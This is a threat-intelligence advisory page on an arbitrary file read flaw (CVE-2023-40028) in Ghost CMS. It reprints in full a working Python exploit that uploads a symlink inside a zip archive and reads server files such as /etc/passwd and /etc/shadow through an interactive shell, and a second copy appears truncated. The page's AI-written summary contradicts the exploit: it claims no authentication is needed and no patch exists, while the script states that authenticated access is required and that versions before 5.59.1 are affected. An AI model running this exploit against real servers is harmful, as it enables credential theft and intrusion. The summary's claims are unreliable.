Ghost CMS 5.59.1 - Arbitrary File Read
Ghost CMS 5.59.1 - Arbitrary File Read
AI Analysis
Technical Summary
Ghost CMS 5.59.1 suffers from an arbitrary file read vulnerability that allows an attacker to read files on the server hosting the CMS without proper authorization. This type of vulnerability typically arises from insufficient input validation or improper handling of file path parameters, enabling directory traversal or direct file access beyond intended boundaries. The exploit can be executed remotely and does not require authentication, making it accessible to unauthenticated attackers. The availability of a Python-based exploit script on Exploit-DB facilitates exploitation by lowering the technical barrier. While no active exploitation in the wild has been reported, the vulnerability poses a significant risk to confidentiality, as attackers could retrieve sensitive files such as configuration files containing database credentials, private keys, or user data. The vulnerability affects web servers running Ghost CMS 5.59.1, a popular open-source blogging and publishing platform. The lack of an official patch at the time of reporting increases exposure. Attackers leveraging this exploit could gain insights into system architecture and potentially use the information to mount further attacks, including privilege escalation or data exfiltration. The medium severity rating provided likely reflects the impact on confidentiality and the ease of exploitation, but the absence of authentication requirements and the availability of exploit code suggest a higher risk profile. Organizations relying on Ghost CMS should prioritize mitigation and monitoring to reduce exposure.
Potential Impact
For European organizations, the arbitrary file read vulnerability in Ghost CMS 5.59.1 can lead to unauthorized disclosure of sensitive information, including configuration files, credentials, and private data. This compromises confidentiality and can facilitate subsequent attacks such as privilege escalation, data theft, or ransomware deployment. Media companies, digital publishers, and businesses using Ghost CMS for content management are particularly at risk. Exposure of database credentials or private keys could lead to broader network compromise. The vulnerability could disrupt service availability if attackers leverage the information to execute further attacks. Given the widespread use of Ghost CMS in Europe’s digital publishing sector, the impact could be significant, especially for organizations lacking robust network segmentation or monitoring. The reputational damage and regulatory consequences under GDPR for data breaches add to the potential impact. Although no active exploitation is currently known, the presence of exploit code increases the likelihood of future attacks targeting European entities.
Mitigation Recommendations
European organizations should immediately audit their Ghost CMS installations to identify affected versions. Until an official patch is released, implement strict file system permissions to limit the CMS process’s access to sensitive files. Employ web application firewalls (WAFs) with custom rules to detect and block suspicious file path traversal attempts or unusual file read requests. Monitor web server and application logs for anomalous access patterns indicative of exploitation attempts. Disable or restrict access to unnecessary CMS features or endpoints that could be leveraged for file reading. Consider deploying runtime application self-protection (RASP) solutions to detect and prevent exploitation in real time. Regularly update Ghost CMS to the latest secure version once patches are available. Conduct internal penetration testing focused on file read vulnerabilities to identify and remediate similar issues proactively. Educate development and operations teams about secure coding and configuration practices to prevent recurrence.
Affected Countries
United Kingdom, Germany, France, Netherlands, Sweden, Denmark, Ireland
Indicators of Compromise
- exploit-code: #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ # Exploit Title: Ghost CMS 5.59.1 - Arbitrary File Read # Date: 2023-09-20 # Exploit Author: ibrahimsql (https://github.com/ibrahmsql) # Vendor Homepage: https://ghost.org # Software Link: https://github.com/TryGhost/Ghost # Version: < 5.59.1 # Tested on: Ubuntu 20.04 LTS, Windows 10, macOS Big Sur # CVE: CVE-2023-40028 # Category: Web Application Security # CVSS Score: 6.5 (Medium) # Description: # Ghost CMS versions prior to 5.59.1 contain a vulnerability that allows authenticated users # to upload files that are symlinks. This can be exploited to perform arbitrary file reads # of any file on the host operating system. The vulnerability exists in the file upload # mechanism which improperly validates symlink files, allowing attackers to access files # outside the intended directory structure through symlink traversal. # Requirements: requests>=2.28.1, zipfile, tempfile # Usage Examples: # python3 CVE-2023-40028.py http://localhost:2368 admin@example.com password123 # python3 CVE-2023-40028.py https://ghost.example.com user@domain.com mypassword # Interactive Usage: # After running the script, you can use the interactive shell to read files: # file> /etc/passwd # file> /etc/shadow # file> /var/log/ghost/ghost.log # file> exit """ import requests import sys import os import tempfile import zipfile import random import string from typing import Optional class ExploitResult: def __init__(self): self.success = False self.file_content = "" self.status_code = 0 self.description = "Ghost CMS < 5.59.1 allows authenticated users to upload symlink files for arbitrary file read" self.severity = "Medium" class GhostArbitraryFileRead: def __init__(self, ghost_url: str, username: str, password: str, verbose: bool = True): self.ghost_url = ghost_url.rstrip('/') self.username = username self.password = password self.verbose = verbose self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'application/json, text/plain, */*', 'Accept-Language': 'en-US,en;q=0.9' }) self.api_url = f"{self.ghost_url}/ghost/api/v3/admin" def authenticate(self) -> bool: """Authenticate with Ghost CMS admin panel""" login_data = { 'username': self.username, 'password': self.password } headers = { 'Origin': self.ghost_url, 'Accept-Version': 'v3.0', 'Content-Type': 'application/json' } try: response = self.session.post( f"{self.api_url}/session/", json=login_data, headers=headers, timeout=10 ) if response.status_code == 201: if self.verbose: print("[+] Successfully authenticated with Ghost CMS") return True else: if self.verbose: print(f"[-] Authentication failed: {response.status_code}") return False except requests.RequestException as e: if self.verbose: print(f"[-] Authentication error: {e}") return False def generate_random_name(self, length: int = 13) -> str: """Generate random string for image name""" return ''.join(random.choices(string.ascii_letters + string.digits, k=length)) def create_exploit_zip(self, target_file: str) -> Optional[str]: """Create exploit zip file with symlink""" try: # Create temporary directory temp_dir = tempfile.mkdtemp() exploit_dir = os.path.join(temp_dir, 'exploit') images_dir = os.path.join(exploit_dir, 'content', 'images', '2024') os.makedirs(images_dir, exist_ok=True) # Generate random image name image_name = f"{self.generate_random_name()}.png" symlink_path = os.path.join(images_dir, image_name) # Create symlink to target file os.symlink(target_file, symlink_path) # Create zip file zip_path = os.path.join(temp_dir, 'exploit.zip') with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf: for root, dirs, files in os.walk(exploit_dir): for file in files: file_path = os.path.join(root, file) arcname = os.path.relpath(file_path, temp_dir) zipf.write(file_path, arcname) return zip_path, image_name except Exception as e: if self.verbose: print(f"[-] Error creating exploit zip: {e}") return None, None def upload_exploit(self, zip_path: str) -> bool: """Upload exploit zip file to Ghost CMS""" try: headers = { 'X-Ghost-Version': '5.58', 'X-Requested-With': 'XMLHttpRequest', 'Origin': self.ghost_url, 'Referer': f"{self.ghost_url}/ghost/" } with open(zip_path, 'rb') as f: files = { 'importfile': ('exploit.zip', f, 'application/zip') } response = self.session.post( f"{self.api_url}/db", files=files, headers=headers, timeout=30 ) if response.status_code in [200, 201]: if self.verbose: print("[+] Exploit zip uploaded successfully") return True else: if self.verbose: print(f"[-] Upload failed: {response.status_code}") return False except requests.RequestException as e: if self.verbose: print(f"[-] Upload error: {e}") return False def read_file(self, target_file: str) -> ExploitResult: """Read arbitrary file using symlink upload""" result = ExploitResult() if not self.authenticate(): return result if self.verbose: print(f"[*] Attempting to read file: {target_file}") # Create exploit zip zip_path, image_name = self.create_exploit_zip(target_file) if not zip_path: return result try: # Upload exploit if self.upload_exploit(zip_path): # Try to access the symlinked file file_url = f"{self.ghost_url}/content/images/2024/{image_name}" response = self.session.get(file_url, timeout=10) if response.status_code == 200 and len(response.text) > 0: result.success = True result.file_content = response.text result.status_code = response.status_code if self.verbose: print(f"[+] Successfully read file: {target_file}") print(f"[+] File content length: {len(response.text)} bytes") else: if self.verbose: print(f"[-] Failed to read file: {response.status_code}") except Exception as e: if self.verbose: print(f"[-] Error during exploit: {e}") finally: # Cleanup try: if zip_path and os.path.exists(zip_path): os.remove(zip_path) temp_dir = os.path.dirname(zip_path) if zip_path else None if temp_dir and os.path.exists(temp_dir): import shutil shutil.rmtree(temp_dir) except: pass return result def interactive_shell(self): """Interactive shell for file reading""" print("\n=== CVE-2023-40028 Ghost CMS Arbitrary File Read Shell ===") print("Enter file paths to read (type 'exit' to quit)") while True: try: file_path = input("file> ").strip() if file_path.lower() == 'exit': print("Bye Bye!") break if not file_path: print("Please enter a file path") continue if ' ' in file_path: print("Please enter full file path without spaces") continue result = self.read_file(file_path) if result.success: print(f"\n--- Content of {file_path} ---") print(result.file_content) print("--- End of file ---\n") else: print(f"Failed to read file: {file_path}") except KeyboardInterrupt: print("\nExiting...") break except Exception as e: print(f"Error: {e}") def main(): if len(sys.argv) != 4: print("Usage: python3 CVE-2023-40028.py <ghost_url> <username> <password>") print("Example: python3 CVE-2023-40028.py http://localhost:2368 admin@example.com password123") return ghost_url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] exploit = GhostArbitraryFileRead(ghost_url, username, password, verbose=True) # Test with common sensitive files test_files = [ "/etc/passwd", "/etc/shadow", "/etc/hosts", "/proc/version", "/var/log/ghost/ghost.log" ] print("\n=== CVE-2023-40028 Ghost CMS Arbitrary File Read Exploit ===") print(f"Target: {ghost_url}") print(f"Username: {username}") # Test authentication first if not exploit.authenticate(): print("[-] Authentication failed. Please check credentials.") return print("\n[*] Testing common sensitive files...") for test_file in test_files: result = exploit.read_file(test_file) if result.success: print(f"[+] Successfully read: {test_file}") print(f" Content preview: {result.file_content[:100]}...") else: print(f"[-] Failed to read: {test_file}") # Start interactive shell exploit.interactive_shell() if __name__ == "__main__": main()
Ghost CMS 5.59.1 - Arbitrary File Read
Description
Ghost CMS 5.59.1 - Arbitrary File Read
AI-Powered Analysis
Technical Analysis
Ghost CMS 5.59.1 suffers from an arbitrary file read vulnerability that allows an attacker to read files on the server hosting the CMS without proper authorization. This type of vulnerability typically arises from insufficient input validation or improper handling of file path parameters, enabling directory traversal or direct file access beyond intended boundaries. The exploit can be executed remotely and does not require authentication, making it accessible to unauthenticated attackers. The availability of a Python-based exploit script on Exploit-DB facilitates exploitation by lowering the technical barrier. While no active exploitation in the wild has been reported, the vulnerability poses a significant risk to confidentiality, as attackers could retrieve sensitive files such as configuration files containing database credentials, private keys, or user data. The vulnerability affects web servers running Ghost CMS 5.59.1, a popular open-source blogging and publishing platform. The lack of an official patch at the time of reporting increases exposure. Attackers leveraging this exploit could gain insights into system architecture and potentially use the information to mount further attacks, including privilege escalation or data exfiltration. The medium severity rating provided likely reflects the impact on confidentiality and the ease of exploitation, but the absence of authentication requirements and the availability of exploit code suggest a higher risk profile. Organizations relying on Ghost CMS should prioritize mitigation and monitoring to reduce exposure.
Potential Impact
For European organizations, the arbitrary file read vulnerability in Ghost CMS 5.59.1 can lead to unauthorized disclosure of sensitive information, including configuration files, credentials, and private data. This compromises confidentiality and can facilitate subsequent attacks such as privilege escalation, data theft, or ransomware deployment. Media companies, digital publishers, and businesses using Ghost CMS for content management are particularly at risk. Exposure of database credentials or private keys could lead to broader network compromise. The vulnerability could disrupt service availability if attackers leverage the information to execute further attacks. Given the widespread use of Ghost CMS in Europe’s digital publishing sector, the impact could be significant, especially for organizations lacking robust network segmentation or monitoring. The reputational damage and regulatory consequences under GDPR for data breaches add to the potential impact. Although no active exploitation is currently known, the presence of exploit code increases the likelihood of future attacks targeting European entities.
Mitigation Recommendations
European organizations should immediately audit their Ghost CMS installations to identify affected versions. Until an official patch is released, implement strict file system permissions to limit the CMS process’s access to sensitive files. Employ web application firewalls (WAFs) with custom rules to detect and block suspicious file path traversal attempts or unusual file read requests. Monitor web server and application logs for anomalous access patterns indicative of exploitation attempts. Disable or restrict access to unnecessary CMS features or endpoints that could be leveraged for file reading. Consider deploying runtime application self-protection (RASP) solutions to detect and prevent exploitation in real time. Regularly update Ghost CMS to the latest secure version once patches are available. Conduct internal penetration testing focused on file read vulnerabilities to identify and remediate similar issues proactively. Educate development and operations teams about secure coding and configuration practices to prevent recurrence.
Affected Countries
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Technical Details
- Edb Id
- 52409
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Ghost CMS 5.59.1 - Arbitrary File Read
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ # Exploit Title: Ghost CMS 5.59.1 - Arbitrary File Read # Date: 2023-09-20 # Exploit Author: ibrahimsql (https://github.com/ibrahmsql) # Vendor Homepage: https://ghost.org # Software Link: https://github.com/TryGhost/Ghost # Version: < 5.59.1 # Tested on: Ubuntu 20.04 LTS, Windows 10, macOS Big Sur # CVE: CVE-2023-40028 # Category: Web Application Security # CVSS Score: 6.5 (Medium) # Description: # Ghost CMS versions prior to 5.59.1 contain a v... (10516 more characters)
Threat ID: 689a95b8ad5a09ad002b0967
Added to database: 8/12/2025, 1:15:36 AM
Last enriched: 11/3/2025, 9:38:33 AM
Last updated: 11/17/2025, 9:42:19 AM
Views: 115
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